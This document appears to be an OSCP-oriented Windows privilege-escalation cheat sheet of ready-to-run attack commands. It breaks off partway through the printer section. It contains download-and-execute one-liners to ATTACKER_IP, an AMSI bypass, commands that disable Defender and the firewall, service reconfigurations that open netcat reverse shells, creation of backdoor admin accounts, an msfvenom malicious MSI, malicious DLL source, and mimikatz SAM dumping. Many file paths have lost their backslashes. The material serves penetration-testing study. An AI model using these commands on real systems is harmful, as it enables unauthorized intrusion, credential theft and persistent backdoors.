Windows privilege escalation for oscp beyond torrent

windows-privilege-escalation

Summary

• Tools
• Windows Version and Configuration
• User Enumeration
• Network Enumeration
• Antivirus & Detections
  • Windows Defender
  • Firewall
  • AppLocker Enumeration
  • Powershell
  • Default Writeable Folders
• EoP — Looting for passwords
  • SAM and SYSTEM files
  • HiveNightmare
  • Search for file contents
  • Search for a file with a certain filename
  • Search the registry for key names and passwords
  • Passwords in unattend.xml
  • Wifi passwords
  • Sticky Notes passwords
  • Passwords stored in services
  • Powershell History
  • Powershell Transcript
  • Password in Alternate Data Stream
• EoP — Processes Enumeration and Tasks
• EoP — Incorrect permissions in services
• EoP — Windows Subsystem for Linux (WSL)
• EoP — Unquoted Service Paths
• EoP — $PATH Interception
• EoP — Named Pipes
• EoP — Kernel Exploitation
• EoP — AlwaysInstallElevated
• EoP — Insecure GUI apps
• EoP — Evaluating Vulnerable Drivers
• EoP — Printers
  • Universal Printer
  • Bring Your Own Vulnerability
• EoP — Runas
• EoP — Abusing Shadow Copies
• EoP — From local administrator to NT SYSTEM
• EoP — Living Off The Land Binaries and Scripts
• EoP — Impersonation Privileges
  • Restore A Service Account’s Privileges
  • Meterpreter getsystem and alternatives
  • RottenPotato (Token Impersonation)
  • Juicy Potato (Abusing the golden privileges)
  • Rogue Potato (Fake OXID Resolver))
  • EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
• EoP — Privileged File Write
  • DiagHub
  • UsoDLLLoader
  • WerTrigger
• EoP — Common Vulnerabilities and Exposures
  • MS08-067 (NetAPI)
  • MS10-015 (KiTrap0D)
  • MS11-080 (adf.sys)
  • MS15-051 (Client Copy Image)
  • MS16-032
  • MS17-010 (Eternal Blue)
  • CVE-2019-1388
• EoP — $PATH Interception
• References

Tools

• PowerSploit’s PowerUp

  powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

• Watson — Watson is a (.NET 2.0 compliant) C# implementation of Sherlock

• (Deprecated) Sherlock — PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities

  powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1

• BeRoot — Privilege Escalation Project — Windows / Linux / Mac

• Windows-Exploit-Suggester

  ./windows-exploit-suggester.py --update
  ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 

• windows-privesc-check — Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems

• WindowsExploits — Windows exploits, mostly precompiled. Not being updated.

• WindowsEnum — A Powershell Privilege Escalation Enumeration Script.

• Seatbelt — A C# project that performs a number of security oriented host-survey «safety checks» relevant from both offensive and defensive security perspectives.

  Seatbelt.exe -group=all -full
  Seatbelt.exe -group=system -outputfile="C:Tempsystem.txt"
  Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIREsam -password="yum "po-ta-toes""

• Powerless — Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind

• JAWS — Just Another Windows (Enum) Script

  powershell.exe -ExecutionPolicy Bypass -File .jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

• winPEAS — Windows Privilege Escalation Awesome Script

• Windows Exploit Suggester — Next Generation (WES-NG)

  # First obtain systeminfo
  systeminfo
  systeminfo > systeminfo.txt
  # Then feed it to wesng
  python3 wes.py --update-wes
  python3 wes.py --update
  python3 wes.py systeminfo.txt

• PrivescCheck — Privilege Escalation Enumeration Script for Windows

  C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck"
  C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
  C:Temp>powershell -ep bypass -c ". .PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"

• juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITYSYSTEM.

• Potato: Potato Privilege Escalation on Windows 7, 8, 10, Server 2008, Server 2012.

• PowerSploit: PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.

• PrivescCheck: Enumerate common Windows security misconfigurations which can be leveraged for privilege escalation and gather various information which might be useful for exploitation and/or post-exploitation, by itm4n

• RoguePotato: Another Windows Local Privilege Escalation from Service Account to System by splinter_code/antonioCoco

• RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM. (No longer maintained)

• RottenPotatoNG: New version of RottenPotato as a C++ DLL and standalone C++ binary — no need for meterpreter or other tools.

• SessionGopher: SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools.

• Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (Deprecated)

• SweetPotato: Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 by CCob

• Tater: Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

• WinPwnage: UAC bypass, Elevate, Persistence and Execution methods. The goal of this repo is to study the Windows penetration techniques.

Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Extract patchs and updates

Architecture

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

set
Get-ChildItem Env: | ft Key,Value

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.CoreFileSystem"}| ft Name,Root

User Enumeration

Get current username

echo %USERNAME% || whoami
$env:username

List user privilege

whoami /priv
whoami /groups

List all users

net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:Users -Force | select Name

List logon requirements; useable for bruteforcing

Get details about a user (i.e. administrator, admin, current user)

net user administrator
net user admin
net user %USERNAME%

List all local groups

net localgroup
Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Get Domain Controllers

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

List all network shares

net share
powershell Find-DomainShare -ComputerDomain domain.local

SNMP Configuration

reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s
Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse

Antivirus & Detections

Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntivirusProduct Get displayName

Windows Defender

# check status of Defender
PS C:> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:> Set-MpPreference -DisableScriptScanning 1 

# exclude a folder
PS C:> Add-MpPreference -ExclusionPath "C:Temp"
PS C:> Add-MpPreference -ExclusionPath "C:WindowsTasks"
PS C:> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# remove signatures (if Internet connection is present, they will be downloaded again):
PS > "C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.9-0MpCmdRun.exe" -RemoveDefinitions -All

Firewall

List firewall state and current configuration

netsh advfirewall firewall dump
# or 
netsh firewall show state
netsh firewall show config

List firewall’s blocked ports

$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

Disable firewall

# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINESYSTEMCurentControlSetControlTerminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:SystemCurrentControlSetControlTerminal Server" -Name "fDenyTSConnections" –Value'`

# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off

AppLocker Enumeration

• With the GPO
• HKLMSOFTWAREPoliciesMicrosoftWindowsSrpV2 (Keys: Appx, Dll, Exe, Msi and Script).

• List AppLocker rules

  PowerView PS C:> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

• Applocker Bypass

  • https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
  • https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
  • https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md

Powershell

Default powershell locations in a Windows system.

C:windowssyswow64windowspowershellv1.0powershell
C:WindowsSystem32WindowsPowerShellv1.0powershell

Powershell Constrained Mode

# Check if we are in a constrained mode
$ExecutionContext.SessionState.LanguageMode

PS > &{ whoami }
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"

# PowerShDLL - Powershell with no Powershell.exe via DLL’s
# https://github.com/p3nt4/PowerShdll
ftp> rundll32.exe C:tempPowerShdll.dll,main

Example of AMSI Bypass.

PS C:> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

Default Writeable Folders

C:WindowsSystem32MicrosoftCryptoRSAMachineKeys
C:WindowsSystem32spooldriverscolor
C:WindowsTasks
C:Windowstracing
C:WindowsTemp
C:UsersPublic

EoP — Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:Windows
%SYSTEMROOT%repairSAM
%SYSTEMROOT%System32configRegBackSAM
%SYSTEMROOT%System32configSAM
%SYSTEMROOT%repairsystem
%SYSTEMROOT%System32configSYSTEM
%SYSTEMROOT%System32configRegBacksystem

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

Either crack it with john -format=NT /root/sam.txt or use Pass-The-Hash.

HiveNightmare

CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using icacls

C:WindowsSystem32> icacls configSAM
configSAM BUILTINAdministrators:(I)(F)
           NT AUTHORITYSYSTEM:(I)(F)
           BUILTINUsers:(I)(RX)    <-- this is wrong - regular users should not have read access!

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM /sam:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM /security:\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSECURITY

Search for file contents

cd C: & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C: user.txt
where /R C: *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" # Windows Autologin
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLMSYSTEMCurrentControlSetServicesSNMP" # SNMP parameters
reg query "HKCUSoftwareSimonTathamPuTTYSessions" # Putty clear text proxy credentials
reg query "HKCUSoftwareORLWinVNC3Password" # VNC credentials
reg query HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Read a value of a certain sub key

REG QUERY "HKLMSoftwareMicrosoftFTH" /V RuleList

Passwords in unattend.xml

Location of the unattend.xml files.

C:unattend.xml
C:WindowsPantherUnattend.xml
C:WindowsPantherUnattendUnattend.xml
C:Windowssystem32sysprep.inf
C:Windowssystem32sysprepsysprep.xml

Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul.

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 
SecretSecurePassword1234*

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config

Get-Childitem –Path C:inetpub -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:WindowsMicrosoft.NETFramework64v4.0.30319Configweb.config
C:inetpubwwwrootweb.config

Other files

%SYSTEMDRIVE%pagefile.sys
%WINDIR%debugNetSetup.log
%WINDIR%repairsam
%WINDIR%repairsystem
%WINDIR%repairsoftware, %WINDIR%repairsecurity
%WINDIR%iis6.log
%WINDIR%system32configAppEvent.Evt
%WINDIR%system32configSecEvent.Evt
%WINDIR%system32configdefault.sav
%WINDIR%system32configsecurity.sav
%WINDIR%system32configsoftware.sav
%WINDIR%system32configsystem.sav
%WINDIR%system32CCMlogs*.log
%USERPROFILE%ntuser.dat
%USERPROFILE%LocalS~1Tempor~1Content.IE5index.dat
%WINDIR%System32driversetchosts
C:ProgramDataConfigs*
C:Program FilesWindows PowerShell*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Wifi passwords

Find AP SSID

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

Sticky Notes passwords

The sticky notes app stores it’s content in a sqlite db located at C:Users<user>AppDataLocalPackagesMicrosoft.MicrosoftStickyNotes_8wekyb3d8bbweLocalStateplum.sqlite

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module pathtoSessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.comadm-arvanaghi -p s3cr3tP@ss

Powershell History

Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing.

type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
type C:UsersswisskyAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
type $env:APPDATAMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Powershell Transcript

C:Users<USERNAME>DocumentsPowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:Transcripts<DATE>PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt

Password in Alternate Data Stream

PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

EoP — Processes Enumeration and Tasks

• What processes are running?

  tasklist /v
  net start
  sc query
  Get-Service
  Get-Process
  Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

• Which processes are running as «system»

  tasklist /v /fi "username eq system"

• Do you have powershell magic?

  REG QUERY "HKLMSOFTWAREMicrosoftPowerShell1PowerShellEngine" /v PowerShellVersion

• List installed programs

  Get-ChildItem 'C:Program Files', 'C:Program Files (x86)' | ft Parent,Name,LastWriteTime
  Get-ChildItem -path Registry::HKEY_LOCAL_MACHINESOFTWARE | ft Name

• List services

  net start
  wmic service list brief
  tasklist /SVC

• Enumerate scheduled tasks

  schtasks /query /fo LIST 2>nul | findstr TaskName
  schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM|Task To Run" | grep -B 1 SYSTEM
  Get-ScheduledTask | where {$_.TaskPath -notlike "Microsoft*"} | ft TaskName,TaskPath,State

• Startup tasks

  wmic startup get caption,command
  reg query HKLMSoftwareMicrosoftWindowsCurrentVersionR
  reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRun
  reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce
  dir "C:Documents and SettingsAll UsersStart MenuProgramsStartup"
  dir "C:Documents and Settings%username%Start MenuProgramsStartup"

EoP — Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

• Orphaned installs, not installed anymore but still exist in startup

• DLL Hijacking

  # find missing DLL 
  - Find-PathDLLHijack PowerUp.ps1
  - Process Monitor : check for "Name Not Found"
  
  # compile a malicious dll
  - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
  - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
  
  # content of windows_dll.c
  #include <windows.h>
  BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
      if (dwReason == DLL_PROCESS_ATTACH) {
          system("cmd.exe /k whoami > C:\Windows\Temp\dll.txt");
          ExitProcess(0);
      }
      return TRUE;
  }

• PATH directories with weak permissions

  $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:windowstemppermissions.txt
  $ for /f eol^=^"^ delims^=^" %a in (c:windowstemppermissions.txt) do cmd.exe /c icacls "%a"
  
  $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
  FOR /F %i in (Servicenames.txt) DO echo %i
  type Servicenames.txt
  FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
  FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)
cacls (Windows XP)

You are looking for BUILTINUsers:(F)(Full access), BUILTINUsers:(M)(Modify access) or BUILTINUsers:(W)(Write-only access) in the output.

Example with Windows 10 — CVE-2019-1322 UsoSvc

Prerequisite: Service account

PS C:Windowssystem32> sc.exe stop UsoSvc
PS C:Windowssystem32> sc.exe config usosvc binPath="C:WindowsSystem32spooldriverscolornc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:Windowssystem32> sc.exe config UsoSvc binpath= "C:Usersmssql-svcDesktopnc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:Windowssystem32> sc.exe config UsoSvc binpath= "cmd c C:Usersnc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:Windowssystem32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:Usersmssql-svcDesktopnc.exe 10.10.10.10 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:Windowssystem32> sc.exe start UsoSvc

Example with Windows XP SP1 — upnphost

# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:Inetpubwwwrootnc.exe 10.11.0.73 4343 -e C:WINDOWSSystem32cmd.exe"
sc config upnphost obj= ".LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

If it fails because of a missing dependency, try the following commands.

sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""

Using accesschk from Sysinternals or accesschk-XP.exe — github.com/phackt

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITYSYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTINAdministrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITYAuthenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTINPower Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:nc.exe -nv 127.0.0.1 9988 -e C:WINDOWSSystem32cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

EoP — Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama’s tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/ .exe —default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Binary bash.exe can also be found in C:WindowsWinSxSamd64_microsoft-windows-lxssbash_[...]bash.exe

Alternatively you can explore the WSL filesystem in the folder C:Users%USERNAME%AppDataLocalPackagesCanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgscLocalStaterootfs

EoP — Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:Windows\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

• Metasploit exploit : exploit/windows/local/trusted_service_path
• PowerUp exploit

  # find the vulnerable application
  C:> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
  
  ...
  [*] Checking for unquoted service paths...
  ServiceName   : BBSvc
  Path          : C:Program FilesMicrosoftBing Bar7.1BBSvc.exe
  StartName     : LocalSystem
  AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
  ...
  
  # automatic exploit
  Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "....UsersPublicnc.exe 10.10.10.10 4444 -e cmd.exe"

Example

For C:Program Filessomethinglegit.exe, Windows will try the following paths first:

• C:Program.exe
• C:Program Files.exe

EoP — $PATH Interception

Requirements:

• PATH contains a writeable folder with low privileges.
• The writeable folder is before the folder that contains the legitimate binary.

EXAMPLE:

# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:Program Filesnodejs;C:WINDOWSsystem32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTINUsers: GR,GW
icacls.exe "C:Program Filesnodejs"

# Place our evil-file in that folder.
copy evil-file.exe "C:Program Filesnodejscmd.exe"

Because (in this example) «C:Program Filesnodejs» is before «C:WINDOWSsystem32» on the PATH variable, the next time the user runs «cmd.exe», our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

EoP — Named Pipes

1. Find named pipes: [System.IO.Directory]::GetFiles("\.pipe")
2. Check named pipes DACL: pipesec.exe <named_pipe>
3. Reverse engineering software
4. Send data throught the named pipe : program.exe >\.pipeStdOutPipe 2>\.pipeStdErrPipe

EoP — Kernel Exploitation

List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits

#Security Bulletin   #KB     #Description    #Operating System

• MS17-017 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
• CVE-2017-8464 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
• CVE-2017-0213 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
• CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
• CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
• MS17-010 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
• MS16-135 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
• MS16-111 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
• MS16-098 　[KB3178466]　　[Kernel Driver]　　(Win 8.1)
• MS16-075 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
• MS16-034 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
• MS16-032 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
• MS16-016 　[KB3136041]　　[WebDAV]　　(2008/Vista/7)
• MS16-014 　[K3134228]　　[remote code execution]　　(2008/Vista/7)
  …
• MS03-026 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)

To cross compile a program from Kali, use the following command.

Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c

EoP — AlwaysInstallElevated

Check if these registry values are set to «1».

$ reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
$ reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

$ Get-ItemProperty HKLMSoftwarePoliciesMicrosoftWindowsInstaller
$ Get-ItemProperty HKCUSoftwarePoliciesMicrosoftWindowsInstaller

Then create an MSI package and install it.

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:evil.msi

Technique also available in :

• Metasploit : exploit/windows/local/always_install_elevated
• PowerUp.ps1 : Get-RegistryAlwaysInstallElevated, Write-UserAddMSI

EoP — Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: «Windows Help and Support» (Windows + F1), search for «command prompt», click on «Click to open Command Prompt»

EoP — Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don’t spend enough time looking at this:

# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery

PS C:UsersSwissky> driverquery.exe /fo table
Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
<SNIP>

PS C:UsersSwissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
    Service Name: ctxusbm
    Path: C:Windowssystem32DRIVERSctxusbm.sys
    Version: 14.11.0.138
    Creation Time (UTC): 17/05/2018 01:20:50
    Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
    Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>

EoP — Printers

Universal Printer

Create a Printer

$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + 'system32'
$drivers         = $system32 + 'spooldrivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPrintPrinters' + $printerName
 
